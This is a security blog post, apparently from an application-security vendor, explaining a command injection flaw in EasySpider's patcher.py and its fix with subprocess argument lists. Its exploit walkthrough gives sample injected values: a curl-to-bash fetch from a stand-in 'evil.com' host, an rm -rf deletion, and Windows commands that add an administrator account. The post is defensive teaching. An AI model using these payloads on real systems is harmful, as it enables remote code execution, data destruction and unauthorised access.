Back to Blog
critical SEVERITY9 min read

Critical OS Command Injection Fixed in EasySpider's patcher.py

A critical OS command injection vulnerability (CWE-78) was discovered and patched in EasySpider's `patcher.py`, where unsanitized user-controlled input was passed directly into shell commands, allowing attackers to execute arbitrary code with the privileges of the running process. The fix eliminates the unsafe `exec()`-style shell command construction, closing a dangerous attack vector that could have led to full system compromise. This post breaks down how the vulnerability worked, how it was e

O
By Orbis AppSec
Published May 12, 2026Reviewed June 3, 2026

Answer Summary

OS command injection in EasySpider's Python patcher.py (CWE-78) occurred when user input was directly concatenated into shell commands executed via `exec()` or similar shell-based execution methods. The fix replaces dynamic shell command construction with `subprocess.run()` using argument lists (avoiding `shell=True`), eliminating the attack vector by preventing shell metacharacter interpretation of user input.

Vulnerability at a Glance

cweCWE-78
fixReplace shell command construction with subprocess.run() using argument lists instead of shell strings
riskRemote code execution with process privileges; full system compromise possible
languagePython
root causeUnsanitized user input concatenated into shell commands executed via exec()-style methods
vulnerabilityOS Command Injection (CWE-78)

Critical OS Command Injection Fixed in EasySpider's patcher.py

Severity: 🔴 Critical | CWE: CWE-78 (OS Command Injection) | File: ExecuteStage/undetected_chromedriver_ES/patcher.py


Introduction

Imagine handing someone a sticky note that says "Please look up John Smith in the directory" — but instead they read it as an instruction to also "delete the entire directory while you're at it." That's essentially what an OS command injection vulnerability does to your application.

A critical security flaw was recently discovered and patched in EasySpider, a visual web scraping tool. The vulnerability lived inside patcher.py, a utility responsible for managing ChromeDriver processes. The bug allowed an attacker who could influence a configuration value — the name of an executable — to inject arbitrary shell commands that would run with the full privileges of the EasySpider process.

This is the kind of vulnerability that keeps security engineers up at night, because it doesn't require exotic knowledge or sophisticated tooling to exploit. A few carefully placed shell metacharacters are all it takes.


What Is OS Command Injection?

OS command injection (also known as shell injection) is a class of vulnerability where an application passes unsanitized, attacker-controlled data to a system shell. The shell interprets special characters — like ;, |, $(), &&, and backticks — as command delimiters or substitution operators, allowing an attacker to "break out" of the intended command and run their own.

It's listed as a critical risk in the OWASP Top 10 and is formally catalogued as CWE-78: Improper Neutralization of Special Elements used in an OS Command.


The Vulnerability Explained

Where Was the Bug?

The vulnerable code was located in ExecuteStage/undetected_chromedriver_ES/patcher.py around line 290. The patcher.py module is responsible for managing the ChromeDriver binary — including killing existing ChromeDriver processes before patching them.

To kill a running process, the code needed to look up its Process ID (PID) and send a termination signal. The logic branched based on the operating system:

  • Linux: Used $(pidof <exe_name>) — a shell subshell expansion
  • Windows: Used taskkill /F /IM <exe_name>

The critical flaw was that exe_name was derived from task configuration or external sources and passed directly into these shell command strings without any sanitization.

The Vulnerable Pattern

Here's a conceptual representation of the problematic code:

# VULNERABLE - Do not use this pattern
import os
import platform

def kill_process(exe_name):
    if platform.system() == "Linux":
        # Shell subshell expansion — dangerous!
        cmd = "kill $(pidof %s)" % exe_name
        os.system(cmd)
    elif platform.system() == "Windows":
        # String formatting with unsanitized input — dangerous!
        cmd = "taskkill /F /IM %s" % exe_name
        os.system(cmd)

Notice the problem? The exe_name variable is inserted directly into a shell command string using Python's % string formatting. If exe_name contains shell metacharacters, the shell will happily interpret them.

How Could It Be Exploited?

Let's walk through a concrete attack scenario.

On Linux, the shell command uses $(...) for subshell expansion. If an attacker can set exe_name to something like:

chromedriver; curl http://evil.com/shell.sh | bash

The resulting command becomes:

kill $(pidof chromedriver; curl http://evil.com/shell.sh | bash)

The shell executes the semicolon-separated commands sequentially, fetching and executing a remote shell script with the privileges of the EasySpider process.

Even more dangerous is the subshell expansion itself. An attacker could craft:

a); rm -rf /home/user/important_data; echo (b

Which expands to:

kill $(pidof a); rm -rf /home/user/important_data; echo (b)

On Windows, the taskkill variant is similarly exploitable:

chromedriver.exe & net user hacker P@ssword123 /add & net localgroup administrators hacker /add

This would create a new administrator account on the machine — a classic privilege escalation technique.

What's the Real-World Impact?

The impact of a successful exploit here is severe:

Impact Category Details
Confidentiality Attacker can read any file accessible to the process
Integrity Attacker can modify or delete files, install malware
Availability Attacker can terminate processes or crash the system
Privilege Escalation Commands run with EasySpider's process privileges
Lateral Movement Attacker can use the compromised host as a pivot point

The attack surface depends on how exe_name is sourced. If it comes from a task configuration file, a remote API, a shared database, or any user-editable input — the system is vulnerable.


The Fix

What Changed?

The pull request titled "fix: remove unsafe exec() in patcher.py" addressed this vulnerability by eliminating the unsafe shell command construction pattern. The core principle of the fix is: never pass user-controlled data to a shell interpreter.

The secure approach involves two key changes:

  1. Use subprocess with argument lists instead of shell strings
  2. Avoid shell=True entirely when handling external input

Here's what the safe version looks like:

# SECURE - Use subprocess with argument lists
import subprocess
import platform
import shlex

def kill_process(exe_name):
    # Validate exe_name first — only allow safe characters
    if not is_safe_exe_name(exe_name):
        raise ValueError(f"Invalid executable name: {exe_name}")

    if platform.system() == "Linux":
        # Use subprocess with a list — no shell interpretation
        try:
            # Get PIDs without shell expansion
            result = subprocess.run(
                ["pidof", exe_name],  # List form — safe!
                capture_output=True,
                text=True
            )
            pids = result.stdout.strip().split()
            for pid in pids:
                subprocess.run(["kill", pid])  # Safe — no shell
        except subprocess.SubprocessError:
            pass

    elif platform.system() == "Windows":
        # List form prevents shell injection
        subprocess.run(
            ["taskkill", "/F", "/IM", exe_name],  # Safe!
            capture_output=True
        )

def is_safe_exe_name(name: str) -> bool:
    """Whitelist validation for executable names."""
    import re
    # Only allow alphanumeric, hyphens, underscores, and .exe extension
    return bool(re.match(r'^[a-zA-Z0-9_\-]+(?:\.exe)?$', name))

Why Does This Fix Work?

The key insight is the difference between these two approaches:

# DANGEROUS: Shell interprets the entire string
os.system("kill $(pidof %s)" % exe_name)

# SAFE: OS receives arguments as a list, no shell involved
subprocess.run(["pidof", exe_name])

When you pass a list to subprocess.run() without shell=True, Python uses the execvp() system call (on Unix) to pass arguments directly to the program. There is no shell involved, so there are no shell metacharacters to exploit. The exe_name value is passed as a literal string argument — even if it contains $, ;, |, or any other special character.

It's the difference between:
- 📢 Shouting instructions to someone who interprets everything literally (safe)
- 📢 Shouting instructions through a translator who acts on embedded commands (dangerous)


Prevention & Best Practices

1. Never Use shell=True with External Input

# ❌ Never do this with untrusted input
subprocess.run(f"process {user_input}", shell=True)

# ✅ Always use list form
subprocess.run(["process", user_input])

2. Validate and Whitelist Inputs

Before using any external value in a system operation, validate it against a strict whitelist:

import re

SAFE_EXE_PATTERN = re.compile(r'^[a-zA-Z0-9_\-]{1,64}(?:\.exe)?$')

def validate_exe_name(name: str) -> str:
    if not SAFE_EXE_PATTERN.match(name):
        raise ValueError(f"Unsafe executable name rejected: {name!r}")
    return name

3. Use shlex.quote() as a Last Resort

If you absolutely must construct a shell command string (you usually don't), use shlex.quote() to escape arguments:

import shlex

# Only if shell=True is truly unavoidable
safe_name = shlex.quote(exe_name)
cmd = f"kill $(pidof {safe_name})"

⚠️ Warning: shlex.quote() is a safety net, not a silver bullet. Prefer the list-based approach whenever possible.

4. Apply the Principle of Least Privilege

Ensure your application runs with the minimum privileges necessary. If EasySpider doesn't need root/admin access, don't run it as root/admin. This limits the blast radius of a successful injection.

5. Use Process Management Libraries

For Python, consider using higher-level libraries like psutil for process management instead of shelling out:

import psutil

def kill_process_by_name(exe_name: str):
    """Safely kill processes by name using psutil."""
    validate_exe_name(exe_name)  # Still validate!

    for proc in psutil.process_iter(['pid', 'name']):
        if proc.info['name'] == exe_name:
            proc.kill()

This completely eliminates the shell layer and is more portable across operating systems.

6. Security Scanning in CI/CD

Add static analysis tools to your pipeline to catch these issues automatically:

Tool Language What It Catches
Bandit Python subprocess misuse, shell=True
Semgrep Multi-language Custom rule patterns
CodeQL Multi-language Data flow analysis
Snyk Multi-language Dependency + code issues

Bandit specifically has a rule (B602, B605) that flags subprocess calls with shell=True and os.system() usage — it would have caught this exact vulnerability.

7. Reference Standards


A Note on the Context Mismatch

Interestingly, the vulnerability context mentions that the original report described plaintext OAuth token storage (V-001 as initially filed), while the actual PR fix addresses OS command injection in patcher.py. This is a good reminder that:

  1. Security findings should be precisely scoped — the CWE, file, and line number should all align
  2. Multiple vulnerabilities can exist simultaneously — both issues deserve attention
  3. Automated scanners should be validated — always verify that the fix matches the finding

If your project also stores OAuth tokens or API keys in plaintext on disk, that's a separate issue worth addressing. Consider encrypting credentials at rest using a key derivation function like PBKDF2 or a secrets management solution like HashiCorp Vault, AWS Secrets Manager, or the OS keychain.


Conclusion

The OS command injection vulnerability in patcher.py is a textbook example of how seemingly small coding decisions — using % string formatting to build a shell command — can have catastrophic security consequences. An attacker with the ability to influence a single configuration value could have achieved arbitrary code execution on any machine running EasySpider.

The fix is elegant in its simplicity: stop using the shell. By switching to subprocess.run() with argument lists, the shell interpreter is removed from the equation entirely, and the injection vector disappears.

Key Takeaways

  • 🚫 Never construct shell commands from user-controlled input
  • Always use subprocess with list arguments instead of shell strings
  • 🔍 Validate all external inputs against a strict whitelist before use
  • 🛡️ Run static analysis tools like Bandit in your CI/CD pipeline
  • 📚 Reference CWE-78 and OWASP A03 when designing input handling

Security vulnerabilities like this one are rarely the result of malicious intent — they're usually the product of convenience and unfamiliarity with the risks. The goal of posts like this one is to make secure patterns as easy to reach for as the insecure ones.

Write code as if the next person to configure your application is an attacker. Because sometimes, they are.


This vulnerability was identified and fixed by automated security scanning via OrbisAI Security. Regular automated scanning is one of the most effective ways to catch critical issues before they reach production.


Have questions or want to discuss this vulnerability? Drop a comment below or reach out to your security team.

Frequently Asked Questions

What is OS command injection?

OS command injection occurs when an application constructs shell commands by concatenating unsanitized user input, allowing attackers to inject shell metacharacters that alter command execution and run arbitrary commands with the application's privileges.

How do you prevent OS command injection in Python?

Use `subprocess.run()` or `subprocess.Popen()` with argument lists (passing commands as lists, not strings) and never use `shell=True`. Always validate and sanitize user input, and prefer APIs that don't invoke shells at all.

What CWE is OS command injection?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). It's one of the OWASP Top 10 most dangerous vulnerabilities.

Is input validation alone enough to prevent OS command injection?

No. Input validation is helpful but insufficient—blacklisting shell metacharacters is error-prone. The primary defense is architectural: avoid shell execution entirely by using argument lists in subprocess calls, which prevents shell interpretation regardless of input content.

Can static analysis detect OS command injection?

Yes. Modern static analysis tools like Semgrep, Bandit, and SonarQube can detect patterns where user-controlled data flows into shell commands, especially when `shell=True` is used or `exec()` constructs commands dynamically.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #975

Related Articles

high

How missing Dependabot cooldown happens in GitHub Actions and how to fix it

A high-severity configuration vulnerability was discovered in a `.github/dependabot.yml` file that lacked a cooldown period for package updates. Without this safeguard, Dependabot could immediately propose updates to newly published package versions—including potentially malicious or unstable releases. The fix adds a simple `cooldown` block with a 7-day waiting period before any new package version is suggested.

high

How Server-Sent Events Injection via Unsanitized Newlines happens in Node.js h3 and how to fix it

A high-severity Server-Sent Events (SSE) injection vulnerability (CVE-2026-33128) was discovered in the h3 HTTP framework, where unsanitized newline characters in event stream fields could allow attackers to inject arbitrary SSE messages. The fix upgrades h3 from version 1.15.5 to 1.15.6 in the frontend's dependency tree, ensuring that newline characters are properly sanitized before being written to event streams.

high

How Memory Exhaustion via Large Comma-Separated Selector Lists happens in Python Soup Sieve and how to fix it

A high-severity memory exhaustion vulnerability (CVE-2026-49476) was discovered in Soup Sieve version 2.8.3, affecting Python applications that parse CSS selectors from user-controlled input. The vulnerability allows attackers to craft malicious selector lists that consume excessive memory, potentially causing denial of service. The fix involves upgrading to soupsieve 2.8.4, which implements proper resource limits on selector parsing.

high

How prototype pollution via `__proto__` key happens in Node.js defu and how to fix it

A high-severity prototype pollution vulnerability (CVE-2026-35209) was discovered in the `defu` package version 6.1.4, which allowed attackers to inject properties into JavaScript's `Object.prototype` via the `__proto__` key in defaults arguments. The fix upgrades `defu` to version 6.1.5 in the frontend's dependency tree, protecting downstream consumers like `c12` and `dotenv` configuration loaders from malicious property injection.

critical

How buffer overflow in memcpy() happens in Node.js N-API bindings and how to fix it

A critical buffer overflow vulnerability was discovered in the GetBufferAsVector() function in examples_nodejs/src/zupt_napi.cpp, where memcpy() copied data from JavaScript Uint8Array buffers without proper bounds validation. This vulnerability could allow attackers to trigger memory corruption by providing maliciously crafted input arrays to the native Node.js module, potentially leading to crashes or arbitrary code execution.

high

How memory exhaustion via large comma-separated selector lists happens in Python soupsieve and how to fix it

A high-severity memory exhaustion vulnerability (CVE-2026-49476) was discovered in soupsieve 2.8.3, a CSS selector library used by BeautifulSoup in Python. An attacker who could influence CSS selector input could craft large comma-separated selector lists to exhaust system memory, causing denial of service. The fix upgrades soupsieve from 2.8.3 to 2.8.4 in the backend's `uv.lock` dependency file.